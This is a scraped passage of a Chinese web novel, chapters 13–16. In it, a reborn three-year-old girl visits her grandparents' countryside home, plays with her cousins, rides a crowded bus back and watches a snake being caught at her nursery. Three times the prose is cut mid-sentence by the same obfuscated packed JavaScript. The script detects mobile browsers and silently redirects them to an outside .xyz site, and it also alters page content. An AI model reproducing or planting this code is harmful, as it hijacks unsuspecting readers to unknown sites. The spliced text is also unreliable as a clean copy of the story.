整个大屋背靠山壁，四周排水沟绕屋一圈，旁边还有一小块空地，就建了厨房和洗浴室。 厨房前立着一块实木的大砧板，就是街上卖猪肉那种，长条形的，厨房前方的院子搭了一个棚，就是放柴火的，农村过去木头都是不值钱的玩意儿，天天烧火做饭，但这棚里的柴火好像从来都不见少。 棚的旁边是手压井，井前放着一口大缸，这大缸可是孩子们的快乐源泉，小时候夏天抓的大螺，钓的青蛙，买来的鱼，都放在里面养，缸里的水平时用来洗东西，入口的水则是倒在厨房的缸里。这会儿烟囱炊烟袅袅，是小儿媳何夏在里头做饭。 马丽丽趁老爸去解救堂哥，自己走到门槛前冲着里面喊：“我来啦，老嗲，奶奶，你们在嘛？” 爷爷和奶奶各自从夹墙和房间里走出来，爷爷马乔生上了年纪个子比马天华还高一些，用马丽丽的眼光来看也是容貌俊秀，老帅哥一个，容长的脸眉眼温和。 他如今也退休了，之前在百货公司当售货员卖布，当年在游江县大概也是个明星级人物。马丽丽小的时候在游江县时经常会在街上被一些大妈说：“哎呀，原来你就是卖布的马乔生的孙女，难怪这么像。” 啊，还是个妇女之友呢。 马乔生没有时下重男轻女的毛病，他对每个孙辈都还算平等，一见马丽丽就笑着说：“哎呦，是丽丽呀，回来了？” “老嗲，我……哎呀。”马丽丽拒绝爸爸的帮助自己翻越门槛，却差点摔了个狗吃屎，一旁的奶奶赶紧拉了她一把，却反差点被她带倒。 “你可小心点。”奶奶没好气的说。奶奶沈月个子小小脸蛋圆圆，总是板着脸好似个刻薄的老太太，她脾气也大，儿媳妇都挺怕她的。 不过沈月也不是个简单的人物。解放前她与爷爷马乔生来到游江县定居，在文盲率至少95％以上的游江县，她能写会算，以一个已婚家庭妇女的身份在少有的国营单位百货公司当会计，又赚钱又体面。 夫妇俩都吃公家饭，养活了九个儿女，盖起了大屋，供了一个大学生（马天华）和两个大专生（马天利和马天林），又供出几个高中生初中生，最后给每个儿子都吃上了商品粮，三个女婿也都是吃商品粮的。之后儿子们结婚生子，每人结婚都花了三百块钱，公平公正。 在马丽丽小时候还觉得这都很平常，不是人人家都是这样的吗？长大后经过社会毒打的马丽丽再回忆爷爷奶奶的人生后会发现，哇，爷爷奶奶竟然是这么牛逼的人吗？为什么我现在混成这样？ 曾经的马丽丽：奶奶看起来好凶我好怕。 现在的马丽丽：奶奶你有什么大腿可以让我抱一下的吗？ 13.第十三章 徐□□对这个厉害婆婆也有点憷，打过招呼后她提着馒头示意，“我们带了馒头来，我拿去厨房。”说完便提着袋子一溜烟去了厨房。 沈月对这个儿媳妇的容忍度还是很高的，毕竟没有住在一起，也没什么矛盾，她现在关心的是马天华带来的东西。 “妈，我都带了，别急塞。”马丽丽这才注意到爸爸带了一个旅行包，马天华打开包，拿出一大摞报纸和好几本杂志，沈月接过去都有些拿不住。 “有段时间没来了，我多拿了些，这几本杂志是我借同事的，别搞丢了，要还。” “哎，知道知道，我先拿房间去。” “奶奶，我帮你拿呀。” “小人精，还消得你来。” 马丽丽特别明白奶奶此时的心理感受，现在的娱乐实在太少了，就说电视，奶奶家也有一台，但是也只能收到两个台，还不如那台古董收音机收的台多呢。 就说报纸，一般单位里都有，但马家其他儿子只有在教育局上班和当老师的马天林夫妇接触的多些，另两个在百货公司上班的马天明和马天楚一个是司机一个在仓库，平时都很少见到，还有一个马天荣在木材厂上班，更是别提。 要说还是在电厂方便，有自己的文化宫，图书馆，电影院……每次马天华都会尽量收集过期的报纸或是在图书馆借来书和杂志带来老家给家里人看，等下次来又换一批还回去。 不过这次确实隔的久了，主是之前徐正义生病了，大家都走不开。 爷爷也对亲家的病耳闻了一些，这次正好问问情况，“□□她爸身体怎么样？” “恢复的挺好，也幸好发现的早。”马天华不失时机的说，“说起来还得是丽丽。”他把马丽丽无意救了孙振华，之后孙振华提出带徐正义一起去检查身体，发现有问题又一起去粤市手术的事跟马乔生说了一遍。 马乔生也不由感慨：“是丽丽有福气，也是你岳父的福气。” 马天华又半带炫耀的跟自己老爸说了关于丽丽跟着孙振华学俄语的事。 “好好好，既然有机会就好好学。”马乔生突然想到什么又赶紧改口，“不过也得丽丽愿意才行，孩子还小可不能强迫她学。” “放心吧，爸，孙工也不是当正经老师的，之前还教丽丽学唱俄语歌，我看丽丽也学的挺好的。” “那就好。” 两父子就站在门口聊起了天，期间不时拉拔了几次马冬山，又围观了几次马冬剑被鸡追打又被大黄解救的画面。 房间里奶奶沈月把新的报纸和杂志放床上，转身去收集乱放在小桌上的之前看过的杂志和小说。 马丽丽趴在床上翻了翻，报纸还挺多，什么《人民日报》《参考消息》《章市日报》《章江晚报》之类，啊，报纸上还电视节目预告，还有现在正在放在电视剧剧情介绍。 杂志有两本《故事会》，一本《读者文摘》，一本《大众电影》和一本《今古传奇》，最后两本应该是图书馆借的，上面还有标签呢。 奶奶把东西整理好，一扭头看见马丽丽正在翻看杂志，便笑道：“丽丽你你知道上面说什么吗？” “当然啦。”马丽丽指着杂志里的女明星，“这是刘晓青，她肯定得上春晚的。”刘晓青年轻的时候可真好看啊，然后又指着另一本封面，“故事会。” “呦，你认识这几个字啊？” “啊，只有这个是三个字呀。” “……噗。” 奶奶刚才是笑了吗？马丽丽靓女转头，沈月一本正经的说：“还认识别的吗？” 马丽丽摇头，突然又想起来什么，她撩起衣服从罩衣下拿出一个盒子，“奶奶，这是送给你的。” 沈月接过来，还有点分量，“这是什么？”边说着她打开盒子，里面是满满一盒子豆豆糖。 “是一百颗豆豆糖啦，给你和老嗲。”马丽丽以前无意中知道其实奶奶和爷爷都喜欢吃糖，不过那时候零食太少，他们的糖都给了孙辈们，所以现在马丽丽特地买了一盒子糖来带给奶奶。一分钱能买十颗豆豆糖，一百颗才一角钱，不过自己吃或是给家里小朋友吃都够啦。 “你哪来的钱买糖？”沈月惊讶小孙女才三岁她爸妈怎么让她自己手上有钱，她知道钱是啥吗？ 马丽丽的钱大多数就是徐明红在学校用发夹小饰品换回来的。她还是低估了电厂的家长们，小学生手上有个几分钱一两角小钱钱，很多家长都是允许的，主要是得知道花哪了。 不过大多数家长们都以为女儿是让徐明红帮忙到孙梅那买，却没想到钱是到了马丽丽手上。而且马丽丽还花钱买了糖豆和酸梅粉、无花果、蜜饯，通过徐明红向她的同学收集鸡毛、牙膏皮、破橡胶轮胎皮、铝片……总之小货郎和收破烂的收什么她就收什么，付给小朋友零食，转手卖现金。 目前马丽丽手上一共赚了三块三毛钱，二块是卖发夹的，一块三毛是卖破烂的，嗯，利润挺高，就是到手的钱不多。 “我卖破烂来着。”马丽丽理直气壮的告诉奶奶。 “你可真行啊。”沈月一脸嫌弃，还是把糖盒收好了，三岁孙女捡破烂孝敬，说出来不好听，但实在。 “你外公，姥爷身体怎么样了啊？”沈月一边把报纸杂志装包里一边问马丽丽，“我听说他去粤市做的手术，你妈去那边照顾他不在家，你就跟你爸在家？平时怎么吃饭啊？” “啊，早上跟爸去食堂买的，中午我在托儿所吃饭不知道，晚上有时候去姥姥家有时候我爸回来炒菜。” 沈月点点头，如果平时听到这话她心里肯定得有点不舒服，不过孙女刚刚的礼物让她心情正好。 马丽丽又说：“奶奶，你和老嗲啥时候也去检查检查身体吧。你看我姥爷，也不觉得咋样，一检查就有问题，他们都说还好手术做的早。” 沈月无语，谁没事去医院啊。“你可懂得真多。” 马丽丽：“那是，孙爷爷说检查没病当然好，但是小病没发现变大病更花钱更麻烦，要是年纪大了还不一定好治。” 孙振华当然没对马丽丽这么说过，不过沈月也没不能去问他不是？ 马丽丽说的其实挺有道理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974325|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，沈月听进去了，不过她半真半假的用力一戳孙女，板着脸说：“没钱。” “唉，都是钱闹的。”马丽丽像小大人似的叹了口气。 “你刚说的孙爷爷又是谁？” 说到这个马丽丽想炫耀一下，“他是姥姥家的邻居，可厉害了，他会说毛子话，还教我咧。” 马丽丽接着读了她这周从广播里学念的新句子，本来星期六星期天应该去孙振华那学的，不过来奶奶家了，就改成了星期一星期二晚上去。 “不对，你念错了。”沈月等马丽丽说完立刻给她纠正了几个发音，“这个辅音不念出声。” 马丽丽好似被雷劈了一样，她大叫：“啊！奶奶你也会说毛子话？” 沈月高冷的戳着呆瓜一样的小孙女：“哼，就你们会说？好好学着吧。走，出去了。” 马丽丽傻不愣登的跟着走。 她从来都不知道奶奶还会说外语，上辈子她可错过了不少东西啊。 怎么每个老人家都会毛子话的吗？ 好家伙，感情这遗传基因是越传越弱？老辈的都是聪明人，传到她这儿聪明因子就不多了，祖孙三代就她最笨？ 不可能，绝对不可能！ 被带出去的马丽丽很快被蠢萌的兄弟们治愈了，啊，她就说嘛，笨蛋不可能只有她。 没过多会儿，六叔骑着单车回来了，之后是骑车带着四婶和马洁回来的四叔，最后是五叔两口子，他们回来的时候天都黑了。这三家就是在老家常驻的人口，大屋一楼除了老俩口之外的三间房就是他们的。 爷爷坚持要全家都回来了才开饭，大家都饿了，四个小孩被带到厨房用热水擦了手脸，三个三岁崽的罩衣外还戴上了小袖套。 几个儿媳妇一起把饭菜都端上了大方桌，又摆上碗筷，桌子四边都是长条凳，今天多了马天华一家，挤挤也能坐得下。 小孩都坐在小竹椅上，一个方凳就是“桌子”，四人坐成一排，面前一个装满饭菜的碗，在他们对面是大黄和它的晚饭。原本三岁都是被喂饭的年纪，但是有了马丽丽这个特殊的榜样，今天除了最小的小山，其他三人都自己吃饭。 马洁生疏的将勺子塞进嘴巴里，有一半米饭撒在了衣服上，她抬眼看向马丽丽，发现对方的姿势优美动作熟练，饭一点没漏，马洁恨恨的又塞了一口饭。 马丽丽知道长大后的堂姐性格好胜，但她也是想不到马洁这么小就已经展现出她的性格特性了。 马冬剑则完全没有发现姐妹们过于复杂的心理，每次吃饭他都十分认真且全神贯注，虽然今天没人喂是自己吃，也一样。 吃完饭地上一片狼藉，有儿子儿媳妇，老两口自然是万事不管的，其他人有的收拾碗筷有的擦桌子有的扫地，还有收拾小孩的。 孩子们被提溜着用力拍干净了身上的饭粒送去厨房擦脸擦手，又有人提来一只半大的小母鸡扔在地上，小母鸡很快就把地上的饭粒啄食完毕。 之后男人们就坐在电视前看新闻联播，奶奶回房间开始翻看杂志，儿媳妇们则全都在厨房。 14.第十四章 深秋的乡下更加清冷，厨房比堂屋还暖和，儿媳妇们一边用热水洗洗刷刷一边聊着天，这时候是难得的放松时刻。 而这个时候，四个孩子和一条中华田园犬正围蹲在大门旁边的狗洞前，门楣上一颗灯泡发出昏黄的灯光，将大家的影子拉得老长，靠近灯那边的马丽丽不得不挪了挪位置，好让其他人（狗）能看清自己手上的东西。 那是一个小纸包，里面装着豆豆糖，是马丽丽特地给小朋友们带的。纸包看似鼓鼓囊囊，其实并不多，马丽丽倒出来数了数，“六颗，”她示意给大家看，然后开始分发，“剑股一个，马洁一个，小山一个，我一个，大黄一个。” 还剩下一个，马冬剑很自然的又伸出手准备去拿，被马洁一巴掌拍开。 “我，到我了。”马冬剑很不解，转了一圈了应该又轮到他了呀。 “什么到你了，就一个了。”马洁才不惯着他，马家没有重男轻女的习惯，第三辈阴盛阳衰，女孩子们更加强势。 马冬剑的小脑瓜子想不明白，他只知道按顺序一人一个，现在还有，而且轮到他了，于是他一把从马丽丽手里抓过糖豆塞进嘴里。马洁瞬间就扑了上去，一边扣他的嘴巴一边尖叫，“你给我吐出来。” 啊这…… 一颗糖豆引发的打架斗殴？ 马丽丽赶紧拖着还没明白啥事的马冬山离开战局。 两位小朋友在地上翻滚起来，大黄在一旁上蹿下跳急得不行，突然，一颗糖豆出现在地上，大黄愣了一秒，迅速把糖豆舔进自己嘴里。 马丽丽：“……” 两崽相争，大黄得利！ 眼看两人就要翻滚进水沟里，马丽丽赶紧的扑上去用身体压住两人，小声BB：“再打奶奶就要听见啦！” 奶奶的威力还是很大的，她一般不喜欢管教小孩，但管教起来就喜欢用道具，比如尺子啦、竹枝啦、扫帚把子啦、柴火棍子啦，等等，总之什么顺手用什么，儿子媳妇们还不敢拦。 所以一听见这话，马洁和马冬剑同时放开对方，三人一起爬了起来，相互拍打干净，又是一条……好孩子。 “糖，呢？”马冬剑舌头转了转，发现嘴里的糖没有了。 “你吞了。”马洁在衣服上擦了擦手指，全是口水，都是刚才拉马冬剑的嘴巴给沾上的。 “我没。” “我知道。”马丽丽好笑的指着大黄说，“你们俩打架的时候糖掉出来被大黄吃了。” 什么？被大黄吃了！哦，那没事了。 马丽丽十分神奇的看到堂哥堂姐就这么合好了。 马丽丽：“？” 大人们对小孩子之间的打架早就习以为常，马冬剑和马洁打架又合好，也没个大人出来好奇一下子。 虽然马丽丽重生感觉自己又变得幼稚了许多，但她跟真三岁比起来她又觉得自己好像个伪小孩，这种感觉在托儿所她也经常有。 不过在马冬剑和马洁眼中是完全没问题的，都是吃豆豆糖的交情了，那就是亲姐（兄）妹。至于马冬山，他的想法不重要。 蹲在墙角几小只煞有其事的聊起天来，马洁说话十分利索，马冬剑就差点，马冬山，嗯，还不怎么会说话。 从幼稚的话语中马丽丽发现了华点，原来马洁的爸妈想把她送到县里幼儿园去，毕竟都三岁了。但是同样三岁，马冬剑的爸爸却没这个想法，反觉得哥哥多事，小孩子上什么幼儿园，又不是正经读书，浪费钱。 马丽丽：难怪刚才吃晚饭的时候感觉六亚叔有点阴阳怪气的，原来不是错觉。 对这个家又多了解了一点呢。 家大事也多，难怪奶奶脾气总是不太好。 没呆多久，厨房里儿媳妇们已经把家务事包括自己都收拾好了，现在准备来收拾小朋友们。她们出来各自把自己的小孩拉到厨房，兑好温水给孩子们洗脸，洗手，洗屁股，洗脚。尤其是马冬山，这小子秋天了还穿着开裆裤，被扒光好好搓了搓。 要不怎么都觉得乡下人脏呢？干净真的是需要条件的。道路都是泥土路，不管是车来车往还是大风一吹就尘土飞扬。 每天都要去县里上班的马家兄弟和儿媳妇们即使把自己捯饬的光鲜亮丽回到家肯定也是灰头土脸的。回来也只用湿毛巾擦擦头发，拍拍衣服，人多洗澡都是件麻烦事，更别说小孩身上的脏衣服，哪有这么多来换呢？脏就脏着吧。 几个女人一边给孩子们洗擦一边吐槽。 洗完脚最后才是刷牙。 是时候亮相了，小宝贝儿！ 当当当当，马丽丽拿出自己的手工小牙刷，大人小孩全都围上来看稀奇。 “这牙刷可真小，竹子的。” “自己做的？太厉害了！” “小孩子用是好。这个牙刷都是大人用的，给小孩子刷太硬了。” “唉呦，这是什么毛？” “马冬剑，你摸过屁股的手不许摸我牙刷！” 马丽丽把牙刷从堂哥手里抢救回来，这可是绝版。 幸福小镇没有儿童牙刷卖，小孩子们都用的大人那种牙刷，甚至不刷牙的小朋友大有人在。不说孩子，就算是马家的大人们用的牙刷，那都是从离子烫刷成了裙摆烫还不扔的。 知道自己以后会一嘴烂牙的马丽丽决定从小保护牙齿，老用大人的牙刷总感觉刷不到位，于是徐正义就想办法给她做了两把小牙刷。 牙刷柄是用打磨的小竹片做的，竹片微微弯曲，一头磨成椭圆，上面钻了几个小孔。 牙刷毛整理好后中间撒点松香粉，用小绳系成小束穿过小孔，另一面微微烘烤，松香粉熔化后可以起到粘合作用，最后修剪一下，这就做好了。 牙刷毛有两种，一种是从毛刷上拆下来的猪毛，另一种是徐□□提供的头发。猪毛要挑软的，头发却要选硬的，马丽丽现在手里这把就是头发牙刷。 听完做法女人自啧啧称奇，却是羡慕不来，谁让自己没个会手工的爹能给孩子做呢？ 洗漱完小朋友们自然早早就要被送上床，马丽丽就着妈妈手里的电筒跟着爬上阁楼。 乡下的电灯十分昏暗，除了照个亮，真是啥也看不清。 铺盖还未整理，都是卷着放在床上，徐□□快手快手放下被褥，又把装着开水的大玻璃瓶放进被子里滚了几下后，用布包好玻璃瓶，连同马丽丽一起塞进被窝里。 那啥冷似铁，那啥踏里裂，马丽丽一边哆嗦一边安慰自己，被褥虽不松软，但至少结实也不算硬，就是太TM冷了，在11月还吹空调风扇的日子得几十年后，现在11月秋衣秋裤都已经有点满足不了了。 把玻璃瓶踩在脚下，抱着外套，马丽丽感觉肩膀漏风，在睡得迷迷糊糊之间，感觉到爸爸妈妈也上来了，他们俩一左一右躺在马丽丽两边，拥挤又暖和，啊，终于不漏风了。 第二天马丽丽是被爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980266|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸妈妈起身的动作给惊醒的，她发现自己把脸捂在了被子里，唉，这毛病多少年没有犯过了，还是因为冷。 “快起来，小朋友都起床了，太阳公公晒屁股了。”徐□□一边穿外套一边对着马丽丽说。 “我先下去刷牙，你们呆会也下来。”马天华穿好衣服先下楼去了。 马丽丽伸出头，还习惯性的摸了摸枕头边，哦，她现在又回到三岁，还没有近视呢，哇，看得好清楚，不过这个天哪叫亮了，难道是阴天有雾？ 见马丽丽还在磨蹭，徐□□把被子掀起一半，“快八点了，起床吃饭，奶奶家可不等你。” “什么？八点了？”马丽丽立刻一骨碌爬了起来，“帮我穿。” “你看看你，刚才叫你半天不动，现在又急什么。”徐□□说着帮马丽丽穿上衣服鞋子，“等下先去刷牙洗脸知道不知道？” “我知道啦。”马丽丽跳下床走出房间，隔壁仓库里堆满了老物件，几根圆圆的长木，几个落满灰的木箱子，木头摇椅，还有几块又长又厚的木头板子，都是实木的，想来这应该是传说中的棺材板，不过现在都不让做棺材了，这些木板也就一直放在这里。 走过“咯吱”作响的楼梯下了楼，外面果然起了雾，太阳圆通通的好像一个咸蛋黄。 鸡全都放出了笼子，正在到处溜达，大黄卧在门口，两个亚叔站在厨房门口刷牙，还有一个一边刷牙一边走到柚子树那儿去查看。 马丽丽深吸一口气，啊，好冷，鼻子好痛，但空气真新鲜哪。她的眼睛流出生理性眼泪，漱完口的马天荣忍不住逗她：“哎，怎么样，丽丽，闻到什么味了吗？” “什么味？”马丽丽不明所以。 “鸡屎味啊，哈哈哈哈。” 马丽丽：“……”幼稚。 马丽丽再次祭出她的小牙刷，果然引起了亚叔们的注意，马丽丽得意的再次炫耀了一把，亚叔们默默的散了。 搞不了搞不了，也不是谁都喜欢做手工的。 难得的周日，要做的事还挺多，趁着饭还没做好，几个亚叔先干起了活，劈柴、晒稻草、晒菜、给菜地松土浇水。 其他小朋友们都不情愿的被带出房间，然后被湿毛巾强行开机后，这才开始刷牙。 “马冬山！别在沟里撒尿！”马洁都要气死了，那里是她刷牙的专用位置。 马冬山哪听得懂，马冬剑还喷了一口漱口水，意思意思冲了水，马洁握紧了牙刷，于是一大早便是鸡飞狗跳。 马丽丽站在对面，很是无语，刚刚明明还是乡村田园，小朋友们一出来立马画风就变了。 吃完早饭，雾散了，今天两个亚叔得去县里买东西，他们一个在单车后面栓上大篮子，一个带着长麻绳，很快就走了。 奶奶吃完饭就坐在门口一边晒太阳一边看小说，爷爷一口假牙，吃了饭在孙子孙女们的围观下拿下假牙洗干净又戴上，也坐在门口看起了报纸。 几个儿媳妇也没闲着，趁今天太阳正好，她们让在家的亚叔支起衣架，把冬天用的被子衣服鞋子都拿出来晒一晒，拍打拍打，煮一锅热水洗洗刷刷。 在这种时候孩子、狗子都是被嫌弃的对象，他们被赋予了一个重要的任务：看着别让鸡飞到被子上。 啊，很重要，马冬剑和马洁盯着鸡看了好半天。 小孩子的快乐很简单，在大人看来无脑无趣无聊的事在他们眼中好玩又开心。 15.第十五章 马丽丽一边吐槽一边跟着堂哥堂姐堂弟在院子里玩，在泥巴里抠石子，给妈妈，被骂，洗手擦脸；去捡竹枝比长短，互抽，大哭，合好；指挥小弟去拔鸡毛，被追被啄，被救下，挨骂；在堂屋跑来跑去跨门槛，被奶奶骂；爬到竹春凳上跳，再次被奶奶骂；拿妈妈的梳子给大黄梳毛，被妈妈揍，大哭 …… 感觉一会儿就到中午了，马丽丽惊讶，咋这么快？也就玩了没多久吧，怎么吃完饭就说要回家的事了？ 还没来得及告别，马丽丽先被生物钟打败了，例行的午睡时间，迷糊中她突然被妈妈粗鲁的拽起来套上外衣，然后转手给爸爸，之后便是一路狂奔。 马丽丽在马天华肩膀上一脸懵逼，什么情况？她又穿越了？地震？逃亡？都不是，只是快要赶不上车了。 “卟……呲”，交通车在沙石地上滑行了一小段路之后停下了，两口子夹着马丽丽喘着粗气挤了上去，车上的人小声抱怨着让出了一丝缝隙。 司机大喊两声：“向后走点，后面还有空。” 三人向后挤了挤，然而并没有空，马丽丽溜缝站在一堆腿中间，用力抓着座位的罩布。车开了一会儿，前排椅背突然伸出了一个小脑袋，“马丽丽”，他好像想爬上去，又被人一把拉了下去，只好站在座位上对马丽丽挥了一下手。 啊，是大班的钟庆阳，马丽丽觉得并不羡慕……可恶，她也想有个位置坐。 钟庆阳十分热情：“马丽丽，我看见你上车了，你也坐车呀，我和胡洋都从凤岗上的车。” 马丽丽不想说话，甚至还觉的括噪，她搞不懂钟庆阳是大班的干嘛还对她这个小班的这么热情，虽然托儿所只有两个班，但两个班的小朋友互相不认识的也有呢。 钟庆阳一个人叭叭叭还挺能说，突然在人群的另一头，有个小孩崩溃大哭起来，他妈妈吓一跳，赶紧问：“怎么啦，你干嘛了？”孩子哭叫道：“我，我想拉屎，我要憋不住了。” 前头司机听见了还说呢，“忍一忍啊，很快就到了。” 马丽丽无语，这是能忍的住的吗？ 果然小孩哭的更大声了，“我忍不住了，要拉了。” 小孩妈也挺崩溃的，这都什么事儿啊，她只好说：“师傅，麻烦停一停吧。” “师傅停一下吧。” “是啊，拉车上就不好了。” “小孩子嘛，还小呢。” 周围站着坐着的大人都纷纷开口，主要也是担心小孩真拉了，这还有大半个小时的路呢，那可不受罪。 司机也是担心给一个人停车其他人有意见，既然大家都这么说，他也停下了车。 站在车门口的人都下车了，车一下子空了许多。 “走啊，你不是很急吗？”小孩妈问。 “我不敢走。”小孩抽噎着说。 没办法，小孩妈夹起小孩下车去，一路连拖带拉把他带到田里。 知道一时半会儿走不了，六七个男人都下车准备抽一支，还有一位晕车的大妈蹲在路边尽情的呕吐。 车门和车窗全都打开了，车内空气好了不少，马丽丽也松快了许多。 钟庆阳硬是从座位上爬下来站着跟马丽丽说话，马丽丽也是服了，有啥话明天就是周一不能在托儿所说吗？ 过了一会儿，拉屎的小孩和他妈妈回到车上，他一上车就看到马丽丽和钟庆阳。 “啊，郭连平，是你要拉屎啊。”钟庆阳这个缺心眼的大声说，“你拉完了？” 郭连平瞪了钟庆阳一眼，刚要说话，被他妈妈推了一下，只好赶紧坐好。 有了这一个插曲，回去的路似乎没这么艰难了，就是第二天在托儿所，马丽丽被郭连平找上了门。 “不许把坐车时候的事告诉别人听到没有？” 小屁孩，还没从托儿所毕业呢就会威胁人了，马丽丽翻了个白眼，并不打算与之计较，“只要你在托儿所一天我就不会告诉别人哒，不过钟庆阳告诉别人我可就不知道了。” 郭连平立刻就满意了，在他看来钟庆阳肯定不敢违抗他的，虽然同是大班，他可是明年九月就要读小学了，钟庆阳才刚刚进大班呢。 啊，小朋友可真好骗，马丽丽想。 小小的狡诈，小小的快乐，但是下午马丽丽就不快乐了，因为她星期天的俄语课没有消失，而是换到了今天晚上，中午孙老头还特地来提醒了她。 怎么肥事，明明是放假，却变成了调休，可恶。 马丽丽心里慌的一比，她昨天前天可啥都没干，没有写作业也没有听广播，甚至想都没想起来过一个字母，啊啊啊啊啊啊啊啊！ 临时磨枪不快也光，马丽丽赶紧拿起本子狂补作业，终于在晚上把该补的都补了一遍，甚至还把口语都练习了一下，然而等到了孙振海家时，他却没有管马丽丽抄写的东西，只是用俄语跟马丽丽对话，问她在奶奶家过的怎么样，等马丽丽结结巴巴胡乱说完，又纠正了几个发音，这就算完了。 啊这，作业不检查？那不白写了吗？ 马丽丽硬是得问问，“孙爷爷，你不看我写的作业吗？” 孙振海闻言便拿过来翻了翻，“嗯嗯，写的不错。” 这也太随便了吧！浪费了我的认真，一片真心都错付了！ 孙振海心下好笑，这小朋友还挺有上进心的，不过…… “马丽丽，抄写是为了让你熟悉单词和句子，但是学外语最重要的还是说出来，要是你以后遇到一个外国人，你还能写下来给他看吗？万一那是一个外国文盲，不识字怎么办？” 有道理。 马丽丽又不是真的小孩子，自然知道语言就是要会说才行，虽然未来十年她学的应试教育都只教了哑巴英语，但那也是条件有限，所以她现在有条件为啥不好好学习？ “我明白了孙爷爷，我一定要好好学习，天天读两篇、听收音都不能少！”马丽丽热血沸腾。 面对小朋友突如其来的鸡血，孙振海只能尴尬又不熟练的啪啪鼓掌，“丽丽很棒呦，加油。” “加油！” 这么直白的表扬真有点难为我老头子了，肉麻。 说到做到，马丽丽性格中有执拗的一面，说要按时做功课就做功课，一个都不能少。 但是做完功课还是要上托儿所的。 托儿所里种着许多树，橙子、柚子、枇杷，还有三棵马丽丽不知道名字的树，这三棵树长得很高，叶子呈椭圆形，中间有一根长长的笔直的叶柄，现在托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984380|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿所最流行的游戏就是捡一片这种叶子，只留叶柄，然后捡其他叶子串在这根叶柄上，串成一大串。 这是一个大班小班都十分风靡的游戏，老师们也非常支持，毕竟这可省了不少扫地的功夫，所以每天上午吃午饭前的一个小时，老师们就组织全托儿所的小朋友们一起来玩这个游戏。 年轻的几个老师会事先摇一摇树，把已经黄了红了的叶子干脆的摇下来铺满地，小朋友们便欢呼的挑选出自己心仪的长叶柄开始串树叶，老师们就坐在屋檐下打毛衣。 等到食堂阿姨来通知大家可以吃饭了，老师们便开始数大家的战果，能在一根叶柄上串最多叶子的和串了最多叶子的小朋友可以分别获得一朵小红花。 穿开档裤的和不穿开档裤的小朋友全都蹲在地上捡宝，大家都捡的十分专心，不太专心的马丽丽小朋友就显得十分突出。 马丽丽抬头看着树上的一颗柚子，心中猜想它成熟的时间， 唉，真是无聊啊，她突然能够理解柯南跟着一年级上学时的心情了。 马丽丽觉得自己可比柯南倒霉多了，好歹柯南也是从小学开始上的，她这还是在托儿所呢。不过未来她小学一年级只需要上一年，可是柯南还不知道有没有机会上二年级，这么一想，她似乎赢了呢…… 个鬼啊！这有什么可值得骄傲的吗？ 这时突然有一个小朋友大喊：“阳阳要拉粑粑啦。” “什么！阳阳，等一下！”钟老师扔下正在打的毛衣快速走过来，端起阳阳，好像端着一个痰盂似的飞快的向着厕所走去。托儿所的厕所建在靠围墙的一侧，后面就是山壁。 好一会儿，钟老师和阳阳从厕所出来，钟老师突然发出尖锐的爆鸣声，“有蛇！”她一把夹住阳阳跑过来， 一边把靠近山壁的小朋友都赶走，“都过去，都过去，别靠近这边。” 山区有蛇再正常不过了，每年春天，托儿所都要在山壁下撒蛇药，现在已经入冬了，原本应该是蛇进入冬眠的时期，不知道为什么这条蛇没有去睡觉，反而跑到托儿所来了。 其他老师听到钟老师的叫声，立刻都跑了过来，她们分别把自己班的小朋友们都汇集起来赶回屋子里，接着确认了确实有一条蛇在山壁边，又商量去找人把蛇抓起来。 这下游戏也玩不成了，所有小朋友们都洗手吃饭去了。 吃了饭休息一会儿，大概是中午一点钟的时候，原本这时候大家就应该去睡午觉了，但是今天谁都没有去睡觉，所有人都在围观民兵队长抓蛇。 大概半个多小时后，民兵队长拎着一条一米多长的蛇走了出来。他穿着长筒胶皮套鞋，胳肢窝下夹着一个长铁钳，手臂上吊着一个塑料桶，右手带着厚厚的胶皮手套抓着蛇头，左手抓着蛇尾巴，对着各位老师说：“没事了，已经抓住了，这蛇我就带走了哈。” 钟老师问：“这蛇有毒还是没毒啊？” “没毒，没毒，这是无毒蛇，不过还挺大的，是个稀罕物，我可要了哈。” “快拿走吧，可怪吓人的。” “好嘞，各位老师，再见啦，小朋友们，再见啦。” 围观的小朋友们特别整齐的喊：“叔叔再见，谢谢叔叔。” “没事没事，我走了。” 16.第十六章 这件事算是给马丽丽无聊的托儿所生活添了点有趣的小插曲，晚上吃饭的时候，她就把这件事情跟爸爸妈妈说了一遍。 马天华听了还好，徐明惠听了却十分担心的说：“现在还有蛇吗？那要不要配点蛇药再撒一遍呀？” “这倒是有可能。”马天华说，“明天我跟药房的赖医师说一声。” 徐明惠又说：“明天是逢圩，你早点跟药房说，不然到时候人多了，他可没时间配。” “好好好。” 